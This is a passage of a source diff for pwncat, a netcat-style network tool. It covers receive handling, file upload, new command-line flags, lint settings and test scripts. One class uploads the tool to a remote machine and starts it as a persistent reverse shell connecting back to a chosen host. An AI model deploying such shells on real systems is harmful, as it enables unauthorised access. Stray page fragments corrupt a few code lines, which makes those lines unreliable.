      print("{}{}".format(prefix, message), end=end) sys.stdout.flush() - def remote_command(self, command): - # type: (str) -> None - """Run remote command with correct linefeeds. + def print_raw(self, message, newline): + # type: (bytes, bool) -> None + """Print a message to the local screen without color/prefix. + + Args: + message (bytes): The message to print. + newline (bool): Add a newline? + """ + if self.__py3: + end = b"\n" if newline else b"" + sys.stdout.buffer.write(b"".join([message, end])) + else: + end = "\n" if newline else "" # type: ignore + print(message, end=end) # type: ignore + + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + try: + sys.stdout.flush() + except IOError: + # Python flushes standard streams on exit; redirect remaining output + # to devnull to avoid another broken pipe at shutdown + devnull = os.open(os.devnull, os.O_WRONLY) + os.dup2(devnull, sys.stdout.fileno()) + + # -------------------------------------------------------------------------- + # Network Functions + # -------------------------------------------------------------------------- + def send(self, data): + # type: (bytes) -> int + """Send data through a connected (TCP) or unconnected (UDP) socket. + + Args: + data (bytes): The data to send. + + Returns: + int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + return self.__net.net.send(data) + + def flush_receive(self): + # type: () -> List[bytes] + """Try to reveive everything which is currently being sent from remote. + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + self.print_info("Flushing receive buffer (this can take some time) ...") + + self.send(b"\n") + data1 = self.send_recv(None, False, False) + data2 = self.send_recv(None, False, False) + + self.print_info("Flushing receive buffer done.") + return data1 + data2 + + def send_recv(self, data, strip_suffix=True, strip_echo=False): + # type: (Optional[bytes], bool, bool) -> List[bytes] + """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies. + + Args: + data (None|bytes): The data to send. If None, will skip sending. + strip_suffix (bool): Strip remote suffix from received data? + strip_echo (bool): Also remove 'data' from output if server has echo'ed it? + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + # [1/4] Send + if data is not None: + self.__net.net.send(data) + + # [2/4] Receive actual reply + responses = [] + + # Setup timer and current receive round + time_start = datetime.now() + curr_round = 0 + + while curr_round < self.__recv_rounds: + try: + response = self.__net.net.receive() + except socket.timeout: + time.sleep(self.__recv_timeout) + time_step = datetime.now() + time_diff = time_step - time_start + + self.__log.trace( # type: ignore + "Timeout: Receive timed out after %f sec in %d/%d rounds", + time_diff.total_seconds(), + curr_round + 1, + self.__recv_rounds, + ) + curr_round += 1 + # On successful read, we can determine to adjust timings. + else: + time_end = datetime.now() + time_diff = time_end - time_start + + self.__recv_times.append(time_diff.total_seconds()) + self.__log.trace( # type: ignore + "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", + time_diff.total_seconds(), + sum(self.__recv_times) / len(self.__recv_times), + curr_round + 1, + self.__recv_rounds, + ) + + # Retries were required + prev_recv_timeout = self.__recv_timeout + if curr_round > 1: + self.__recv_timeout += time_diff.total_seconds() + # No retries requred + else: + self.__recv_timeout = time_diff.total_seconds() / 2 + + self.__log.trace( # type: ignore + "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", + prev_recv_timeout, + self.__recv_timeout, + ) + + # Add response + if response: + responses.append(response) + + # Reset the start time and round + time_start = datetime.now() + curr_round = 0 + + # Return if already empty + if not responses: + return responses + + # Response could be in one of the below listed formats: + # 1. response could be one line per element + # 2. reposnse could be multiple lines per element + # 3. response cloud be single characters per element + # But we want to make sure that we always get one line per element, + # so we normalize it + + # First: Join lines which do not have line endings + self.__log.debug("Normalize recv before (1): %s", repr(responses)) + normalized = [] + has_eol = True + for line in responses: + if has_eol: + normalized.append(line) + else: + normalized[-1] = normalized[-1] + line + # Determine what to do next iteration + if line.endswith(b"\r\n"): + has_eol = True + elif line.endswith(b"\n"): + has_eol = True + elif line.endswith(b"\r"): + has_eol = True + else: + has_eol = False + responses = normalized + self.__log.debug("Normalize recv after (1): %s", repr(responses)) + + # Second: Separate lines which have line endings + self.__log.debug("Normalize recv before (2): %s", repr(responses)) + normalized = [] + for line in responses: + line = line.rstrip(b"\r\n") + line = line.rstrip(b"\n") + line = line.rstrip(b"\r") + line = line.lstrip(b"\r\n") + line = line.lstrip(b"\n") + line = line.lstrip(b"\r") + if b"\r\n" in line: + for newline in line.split(b"\r\n"): + normalized.append(newline) + elif b"\n" in line: + for newline in line.split(b"\n"): + normalized.append(newline) + elif b"\r" in line: + for newline in line.split(b"\r"): + normalized.append(newline) + else: + normalized.append(line) + responses = normalized + self.__log.debug("Normalize recv after (2): %s", repr(responses)) + + # [3/4] Remove remote ends suffix (if it sends something like it) + # We iterate reversed of responses and check if the new line suffix(es) + # are present at the end. + # This is because the suffix(es) is always received last. + if self.__remote_suffix and strip_suffix: + # If multiple suffix lines are send we will first strip x-1 suffix lines + if len(self.__remote_suffix) > 1: + lines_to_strip = len(self.__remote_suffix) - 1 + self.__log.debug("Remove suffix before (1): %s", repr(responses)) + responses = responses[:-lines_to_strip] + self.__log.debug("Remove suffix after (1): %s", repr(responses)) + + # Return if already empty + if not responses: + return responses + + # Clean up the last response line with first suffix line + self.__log.debug("Remove suffix before (2): %s", repr(responses)) + responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) + self.__log.debug("Remove suffix after (2): %s", repr(responses)) + + # Ensure empty elements are removed + self.__log.debug("Remove suffix before (3): %s", repr(responses)) + responses = [item for item in responses if item] + self.__log.debug("Remove suffix after (3): %s", repr(responses)) + + # [4/4] Some server also echo back what we've send, so if we did send something + # we need to strip this off as well + if data is not None and strip_echo: + for idx, item in enumerate(responses): + if data in responses[idx]: + del responses[idx] + elif data.rstrip() in responses[idx]: + del responses[idx] + # Ensure empty elements are removed + responses = [item for item in responses if item] + + # Return list of respones + return responses + + # -------------------------------------------------------------------------- + # High-level Functions + # -------------------------------------------------------------------------- + def remote_command(self, command, output): + # type: (str, bool) -> Optional[List[bytes]] + """Run remote command with correct linefeeds and receive response lines. Args: command (str): The command to execute on the remote end. + output (bool): Receive output from command? """ - # TODO: determine remote host line feeds and set accordingly. - self.__fsend(command + "\n") + command = command.rstrip("\r\n") + command = command.rstrip("\r") + command = command.rstrip("\n") + command = command + "\n" + if output: + return self.send_recv(StringEncoder.encode(command), True, True) + self.send(StringEncoder.encode(command)) + return None def create_remote_tmpfile(self): # type: () -> Optional[str] @@ -9353,26 +11314,73 @@

      pwncat

      Returns: str or None: Returns path on success or None on error. """ + self.flush_receive() + self.print_info("Creating tmpfile:", False, True) + command = [] - command.append("{} -c '".format(self.__python)) + command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") - if self.__py3: + if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") - self.remote_command("".join(command)) + response = self.remote_command("".join(command), True) + + # All good + if response is not None and len(response) == 1: + tmpfile = StringEncoder.decode(response[0]).rstrip() + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + # Something went wrong with stripping prefix from server, we need to manually + # check if creation was successful. + if response is not None and len(response) > 1: + # A bit fuzzy, but we try a few times + for _ in range(5): + self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) + for candidate in response: + tmpfile = StringEncoder.decode(candidate).rstrip() + if self.remote_file_exists(tmpfile): + self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) + return tmpfile + + self.print_info("Creating tmpfile: Failed", True, True) + self.print_info("Response: {}".format(repr(response))) + return None - self.print_info("Creating tmpfile:", False, True) - for response in self.__frecv(): - if response: - tmpfile = response.rstrip() - self.print_info("Creating tmpfile: {}".format(tmpfile), True, True) - return tmpfile + def remote_file_exists(self, remote_path): + # type: (str) -> bool + """Ensure given remote path exists as a file on remote end. - self.print_info("Failed to create tmpfile", True, True) - return None + Args: + remote_path (str): Path of file to check. + + Returns: + bool: Returns `True` on success and `False` on failure. + """ + self.flush_receive() + + # String should be short as an unstable remote might send small chunks + unique_string = "_pwncat_" + response = self.remote_command( + 'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True + ) + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate) == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + response = self.flush_receive() + if response is not None: + for candidate in response: + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + if StringEncoder.decode(candidate).rstrip() == unique_string: + return True + return False def upload(self, lpath, rpath): # type: (str, str) -> bool @@ -9385,13 +11393,14 @@

      pwncat

      Returns: bool: Returns `True` on success and `False` on failure. """ - assert self.__python is not None - assert self.__py3 is not None + assert self.__remote_python is not None + assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() + self.flush_receive() if rpath_b64 is None: return False - if not self.__upload_file_base_64_encoded(lpath, rpath_b64): + if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False @@ -9400,6 +11409,80 @@

      pwncat

      # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __set_remote_prefix(self): + # type: () -> None + """Determines if the remote always sends a specific prefix with its other data.""" + self.__remote_prefix = [] + self.__remote_suffix = [] + + has_suffix = False + + self.print_info("Checking if remote sends prefix/suffix to every request...") + response = self.send_recv(b'echo "__pwn__"\n') + expected = b"__pwn__" + + if response: + for line in response: + # If the line begins with our expected response, all data after that + # is a suffix that the server might be sending. + if re.match(expected, line): + has_suffix = True + # If bytes are still left after our response, add it + if line.replace(expected, b"", 1): + self.__remote_suffix.append(line.replace(expected, b"", 1)) + continue + if has_suffix: + self.__remote_suffix.append(line) + + # Ensure empty elements are removed + self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix)) + self.__remote_suffix = [item for item in self.__remote_suffix if item] + self.__log.debug("Set suffix after: %s", repr(self.__remote_suffix)) + + if self.__remote_prefix: + self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix))) + for line in self.__remote_prefix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send prefix") + if self.__remote_suffix: + self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix))) + for line in self.__remote_suffix: + self.print_raw(repr(line).encode(), True) + else: + self.print_info("Remote does not send suffix") + + def __get_remote_python_version(self, path): + # type: (str) -> Optional[str] + """Get remote Python version by path. + + Args: + path (str): Path to potential python binary. + + Returns: + Optional[str]: Python version string or None if not found. + """ + command = [] + command.append("{} -c '".format(path)) + command.append("from __future__ import print_function;") + command.append("import sys;") + command.append("v=sys.version_info;") + command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') + + response = self.remote_command("".join(command), True) + + if response is not None and response: + for line in response: + match = re.search(b"^([.0-9]+)", line) + # Potential version candidate + if match: + version = StringEncoder.decode(match.group(1)) + if version[0] in ["2", "3"]: + return version + return None + def __set_remote_python_path(self): # type: () -> bool """Enumerate remote Python binary. @@ -9408,71 +11491,108 @@

      pwncat

      bool: Returns `True` on success and `False` on failure. """ # TODO: Make windows compatible + # [1/2] 'which' method + for name in self.__PYTHON_NAMES: + self.print_info("Probing for: which {}".format(name)) + response = self.remote_command("which {} 2>/dev/null".format(name), True) + if response is not None and response: + for line in response: + path = StringEncoder.decode(line) + self.print_info("Potential path: {}".format(path)) + version = self.__get_remote_python_version(path) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = path + return True + + # TODO: Make windows compatible + # [2/2] Absolute path method for path in self.__PYTHON_PATHS: - for version in self.__PYTHON_VERSIONS: - python = path + "/" + version + for name in self.__PYTHON_NAMES: + + python = path + "/" + name self.print_info("Probing for: {}".format(python)) - self.remote_command("test -f {p} && echo {p} || echo;".format(p=python)) - for response in self.__frecv(): - reg = re.search(r"^([.0-9]+)", response) - if response.rstrip() == python.rstrip(): - self.print_info("Potential path: {}".format(python)) - command = [] - command.append("{} -c '".format(python)) - command.append("from __future__ import print_function;") - command.append("import sys;") - command.append("v=sys.version_info;") - command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') - data = "".join(command) - self.remote_command(data) + rpath_lines = self.remote_command( + "test -f {p} && echo {p} || echo".format(p=python), True + ) + if rpath_lines is not None and rpath_lines: + # Reset current round + path_found = False + + # We expect a length of one, but we handle errors as well. + for rpath_line in rpath_lines: + if StringEncoder.decode(rpath_line).rstrip() == python: + path_found = True + break + if not path_found: continue - if reg: - match = reg.group(1) - if match[0] == "2": - self.__py3 = False - elif match[0] == "3": - self.__py3 = True - else: - self.print_info( - "Could not determine major version: {}".format(reg.group(1)) - ) - return False - self.print_info("Found valid Python{} version: {}".format(match[0], match)) - self.__python = python - return True - # Nothing matched, break the innter loop - break + + # Potential python candidate + self.print_info("Potential path: {}".format(python)) + version = self.__get_remote_python_version(python) + if version is None: + continue + + if version[0] == "2": + self.__remote_py3 = False + if version[0] == "3": + self.__remote_py3 = True + self.print_info("Found valid Python{} version: {}".format(version[0], version)) + self.__remote_python = python + return True return False - def __upload_file_base_64_encoded(self, lpath, rpath): - # type: (str, str) -> bool + def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False): + # type: (str, str, bool) -> bool """Upload a local file to a base64 encoded remote file. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. + at_once (bool): Send all data at once. Returns: bool: Returns `True` on success and `False` on failure. """ first = True + data = [] # type: List[str] + with open(lpath, "r") as fhandle: lines = fhandle.readlines() count = len(lines) curr = 1 for line in lines: - self.print_info( - "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True - ) - b64 = self.__enc.base64_encode(line) + if not at_once: + self.print_info( + "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True + ) + b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line))) if first: - self.remote_command('echo "{}" > {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" > "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False) first = False else: - self.remote_command('echo "{}" >> {}'.format(b64, rpath)) + if at_once: + data.append('echo "{}" >> "{}"'.format(b64, rpath)) + else: + self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False) curr += 1 - self.print_info() + + if at_once: + self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1)) + self.remote_command("\n".join(data), False) + else: + self.print_info() + # TODO: md5 check if this is legit return True @@ -9487,69 +11607,88 @@

      pwncat

      Returns: bool: Returns `True` on success or `False` on failure. """ + self.flush_receive() + command = [] - command.append("{} -c 'import base64;".format(self.__python)) + command.append("{} -c 'import base64;".format(self.__remote_python)) command.append('f=open("{}", "r");'.format(rpath_source)) command.append("lines = f.readlines();") - if self.__py3: - command.append('print("".join([base64.b64decode(l.encode()) for l in lines]));\'') + if self.__remote_py3: + command.append( + 'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\'' + ) else: command.append('print "".join([base64.b64decode(l) for l in lines]);\'') - command.append("> {}".format(rpath_target)) + command.append('> "{}"'.format(rpath_target)) self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target)) - self.remote_command("".join(command)) + self.remote_command("".join(command), False) # TODO: validate via md5 return True # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNCAutoDeploy +# [9/11 Command & Control]: (3/3) CNCAutoDeploy # ------------------------------------------------------------------------------------------------- class CNCAutoDeploy(CNC): """Command&Control pwncat auto deployment class.""" def __init__( self, - enc, # type: StringEncoder - send, # type: Callable[[str], None] - recv, # type: Callable[[], Iterator[str]] + network, # type: IONetwork cmd, # type: str host, # type: str ports, # type: List[int] ): # type: (...) -> None try: - super(CNCAutoDeploy, self).__init__(enc, send, recv) - except FileNotFoundError: + super(CNCAutoDeploy, self).__init__(network) + except CNCPythonNotFound: return local_path = os.path.abspath(__file__) remote_path = self.create_remote_tmpfile() + remote_stdout = self.create_remote_tmpfile() + remote_stderr = self.create_remote_tmpfile() if remote_path is None: + self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.") return if not self.upload(local_path, remote_path): + self.print_info("Unable to upload file. Aborting and handing over to current shell.") return - # TODO: Ensure pwncat stays running - self.__start_pwncat(remote_path, cmd, host, ports) + self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr) + + # We need to wait some time for slow severs + self.print_info("Waiting for socket") + time.sleep(2) + self.flush_receive() + + self.print_info("Done. Handing over to current shell.") return - def __start_pwncat(self, remote_path, binary, host, ports): - # type: (str, str, str, List[int]) -> None + def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr): + # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None for port in ports: command = [] command.append("nohup") - command.append(self.python) + command.append(self.remote_python) command.append(remote_path) command.append(host) command.append(str(port)) command.append("--exec {}".format(binary)) command.append("--reconn") command.append("--reconn-wait 1") + if stdout is not None and stderr is not None: + command.append("> {}".format(stdout)) + command.append("2> {}".format(stderr)) + elif stdout is not None: + command.append("> {} 2>&1".format(stdout)) + elif stderr is not None: + command.append("> {} 2>&1".format(stderr)) command.append("&") data = " ".join(command) print("Starting pwncat rev shell: {}".format(data)) - self.remote_command(data) + self.remote_command(data, False) # ################################################################################################# @@ -10108,6 +12247,29 @@

      pwncat

      ) optional.add_argument( + "--send-on-eof", + action="store_true", + default=False, + help="""Buffer data received on stdin until EOF and send +everything in one chunk. + +""", + ) + optional.add_argument( + "--no-shutdown", + action="store_true", + default=False, + help="""Do not shutdown into half-duplex mode. +If this option is passed, pwncat won't invoke shutdown +on a socket after seeing EOF on stdin. This is provided +for backward-compatibility with OpenBSD netcat, which +exhibits this behavior. + +""", + ) + optional.add_argument( "-v", "--verbose", action="count", @@ -10622,7 +12784,7 @@

      pwncat

      # Deny unimplemented modes if args.http or args.https: +Explicit (x1)"> if args.https: print("Unimplemented options", file=sys.stderr) sys.exit(1) @@ -10751,8 +12913,9 @@

      pwncat

      # Initialize encoder enc = StringEncoder() - # Initialize StopSignal - ssig = StopSignal() + # Initialize interrupt handler + ssig = InterruptHandler(args.keep_open, args.no_shutdown) # Initialize transformers transformers = [] @@ -10784,7 +12947,8 @@

      pwncat

      Explicit (x1)"> mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE)) # Use output module else: - mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN)) + mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof)) # Run local port-forward # -> listen locally and forward traffic to remote (connect) @@ -10804,7 +12968,7 @@

      pwncat

      net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_srv, net_cli])) + run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -10813,6 +12977,7 @@

      pwncat

      net_cli.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -10824,6 +12989,7 @@

      pwncat

      net_srv.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [net_cli.interrupt, net_srv.interrupt], transformers, + False, None, ), ) @@ -10845,7 +13011,7 @@

      pwncat

      net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner - run = Runner(PSEStore(ssig, [net_cli_l, net_cli_r])) + run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r])) run.add_action( "TRANSMIT", DsRunnerAction( @@ -10854,6 +13020,7 @@

      pwncat

      net_cli_r.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [], transformers, + False, None, ), ) @@ -10865,6 +13032,7 @@

      pwncat

      net_cli_l.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [], transformers, + False, None, ), ) @@ -10876,7 +13044,7 @@

      pwncat

      Explicit (x1)"> print("Scanning {} ports".format(len(ports))) net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts) - run = Runner(PSEStore(ssig, [net])) + run = Runner(ssig, True, PSEStore(ssig, [net])) for port in ports: run.add_action( @@ -10886,8 +13054,9 @@

      pwncat

      DsCallableProducer(net.producer, port), # Send port scans net.consumer, # Output results + [net.interrupt], [], - transformers, + True, None, ), ) @@ -10908,16 +13077,27 @@

      pwncat

      cnc_ports = ArgValidator.get_port_list_from_string(cnc_port) CNCAutoDeploy(enc, net.consumer, net.producer, cnc_cmd, cnc_host, cnc_ports) - run = Runner(PSEStore(ssig, [net])) +Explicit (x2)"> CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), @@ -10928,8 +13108,9 @@

      pwncat

      DsCallableProducer(mod.producer), net.consumer, # send data - [mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), @@ -10942,15 +13123,26 @@

      pwncat

      ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts ) - run = Runner(PSEStore(ssig, [net])) + + if args.http: + trans_recv = [TransformHttpUnpack({})] + transformers + trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers + else: + trans_recv = transformers + trans_send = transformers + + run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, - [net.interrupt, mod.interrupt], # Also force the prod. to stop on net err - transformers, + [net.interrupt], + trans_recv, + False, code_recv, ), @@ -10961,25 +13153,30 @@

      pwncat

      DsCallableProducer(mod.producer), net.consumer, # send data - [net.interrupt, mod.interrupt], # Externally stop the produer itself - transformers, + [mod.interrupt], + trans_send, + False, code_send, ), ) if type(args.ping_intvl) is int and args.ping_intvl > 0: + payload = StringEncoder.encode(args.ping_word) run.add_timer( "PING-INT", DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (args.ping_word)), # send data +Explicit (x5)"> DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}), # send data ) if args.ping_init: + payload = StringEncoder.encode(args.ping_word) run.add_repeater( "PING-REP", - DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (args.ping_word)), # send data + DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}), # send data ) run.run() @@ -10988,12 +13185,7 @@

      pwncat

      # [11/11 MAIN ENTRYPOINT]: (2/2) start # ------------------------------------------------------------------------------------------------- if __name__ == "pwncat": - # Catch Ctrl+c and exit without error message - try: - main() - except KeyboardInterrupt: - print() - sys.exit(1) + main()
      diff --git a/man/pwncat.1 b/man/pwncat.1 index f4651f93..a992d5be 100644 --- a/man/pwncat.1 +++ b/man/pwncat.1 @@ -84,6 +84,17 @@ CR on MacOS). \fB\-n\fR, \fB\-\-nodns\fR Do not resolve DNS. .TP +\fB\-\-send\-on\-eof\fR +Buffer data received on stdin until EOF and send +everything in one chunk. +.TP +\fB\-\-no\-shutdown\fR +Do not shutdown into half\-duplex mode. +If this option is passed, pwncat won't invoke shutdown +on a socket after seeing EOF on stdin. This is provided +for backward\-compatibility with OpenBSD netcat, which +exhibits this behavior. +.TP \fB\-v\fR, \fB\-\-verbose\fR Be verbose and print info to stderr. Use \fB\-v\fR, \fB\-vv\fR, \fB\-vvv\fR or \fB\-vvvv\fR for more verbosity. The server performance will diff --git a/setup.cfg b/setup.cfg index a81081ef..74d55a85 100644 --- a/setup.cfg +++ b/setup.cfg @@ -26,15 +26,16 @@ max-line-length = 100 # bad-continuation: let Python Black take care of this # unidiomatic-typecheck: Need to check if int or bool and this doesnt work with isinstance() disable = useless-object-inheritance, bad-continuation, unidiomatic-typecheck -max-branches = 24 -max-statements = 107 +max-branches = 30 +max-statements = 121 max-args = 15 max-attributes = 13 -max-locals = 34 -max-module-lines = 6000 +max-locals = 37 +max-module-lines = 7000 max-bool-expr = 6 max-returns = 11 min-public-methods = 1 +max-nested-blocks = 7 # List of note tags to take in consideration, separated by a comma. #notes=FIXME,TODO notes=FIXME diff --git a/setup.py b/setup.py index a81d743c..a4d96b3d 100644 --- a/setup.py +++ b/setup.py @@ -6,7 +6,7 @@ setup( name="pwncat", - version="0.0.23-alpha", + version="0.1.0", description="Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its fully scriptable with Python (PSE).", license="MIT", long_description=long_description, diff --git a/tests/.lib/conf.sh b/tests/.lib/conf.sh index d35c35d2..f72ba10a 100644 --- a/tests/.lib/conf.sh +++ b/tests/.lib/conf.sh @@ -587,6 +587,7 @@ run_bg() { return 1 fi + >&2 printf "PID: ${pid}\\n" >&2 printf "${clr_ok}%s${clr_rst}\\n" "[OK]" echo "${pid}" print_test_datetime @@ -660,7 +661,9 @@ wait_for_data_transferred() { else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi - kill_pid "${send_pid}" || true + if [ -n "${send_pid}" ]; then + kill_pid "${send_pid}" || true + fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 @@ -722,7 +725,9 @@ wait_for_data_transferred() { else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi - kill_pid "${send_pid}" || true + if [ -n "${send_pid}" ]; then + kill_pid "${send_pid}" || true + fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 @@ -771,7 +776,9 @@ wait_for_data_transferred() { else print_error "[Receive Error] Received data on ${recv_name} does not match expected data." fi - kill_pid "${send_pid}" || true + if [ -n "${send_pid}" ]; then + kill_pid "${send_pid}" || true + fi kill_pid "${recv_pid}" || true print_test_datetime exit 1 @@ -943,6 +950,7 @@ test_case_instance_is_stopped() { fi print_file "${name} STDERR" "${file_stderr}" print_file "${name} STDOUT" "${file_stdout}" + run "ps -ef" || true print_error "[${name} Error] ${name} is not stopped" # cleanup diff --git a/tests/integration/01-behaviour-quit--client/000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh b/tests/integration/01-behaviour-quit--client/000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh index 9da4bf68..0b10b4f4 100755 --- a/tests/integration/01-behaviour-quit--client/000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh +++ b/tests/integration/01-behaviour-quit--client/000---tcp---client_quits---when_server_is_killed---client_default---before_send.sh @@ -137,24 +137,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # No verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" 